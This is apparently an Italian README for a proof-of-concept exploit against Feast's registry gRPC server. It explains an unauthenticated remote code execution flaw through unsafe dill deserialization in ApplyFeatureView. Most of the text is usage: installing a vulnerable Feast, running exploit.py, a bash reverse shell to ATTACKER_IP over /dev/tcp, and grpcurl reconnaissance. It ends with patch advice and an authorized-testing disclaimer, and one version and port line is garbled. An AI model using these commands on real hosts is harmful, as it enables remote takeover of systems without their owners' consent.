
Esecuzione remota di codice non autenticata nel server gRPC del registry del feature store Feast.
La RPC ApplyFeatureView ricostruisce un OnDemandFeatureView dal proto della richiesta. In questo modo decodifica in base64 spec.user_defined_function.body e lo passa a dill.loads() — prima di qualsiasi controllo di autorizzazione. dill è un superset di pickle, quindi un oggetto il cui __reduce__ restituisce (os.system, (cmd,)) esegue un comando arbitrario nel momento in cui il server lo deserializza. La distribuzione predefinita include auth: no_auth, quindi una singola richiesta gRPC non autenticata alla porta del registry è sufficiente.
< 0.63.00.63.06570 (gRPC del registry)L'exploit riutilizza i protocolli gRPC generati da Feast stesso, quindi installa un Feast vulnerabile sul lato attaccante:
python3 -m venv venv && . venv/bin/activate
pip install "feast==0.62.0" grpcio
# quick check (output appears on the SERVER, not locally)
python3 exploit.py 10.10.10.10:6570 -c "id"
# reverse shell (bash -c wrapper: os.system uses /bin/sh, which lacks /dev/tcp)
python3 exploit.py 10.10.10.10:6570 -c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"'
-p/--project imposta il nome del progetto (predefinito feature_repo). L'output del comando viene stampato su stdout/journal dell'host del registry, quindi usa una reverse shell o scrivi su un percorso leggibile per osservare i risultati.
Il registry ha la riflessione gRPC abilitata:
grpcurl -plaintext 10.10.10.10:6570 list
# feast.registry.RegistryServer
# grpc.health.v1.Health
# grpc.reflection.v1alpha.ServerReflection
Aggiorna a Feast 0.63.0+, abilita un backend di autenticazione e non esporre mai la porta gRPC del registry a reti non attendibili.
Solo per test di sicurezza autorizzati e scopi educativi. Usalo solo contro sistemi di tua proprietà o per i quali hai esplicito permesso di test.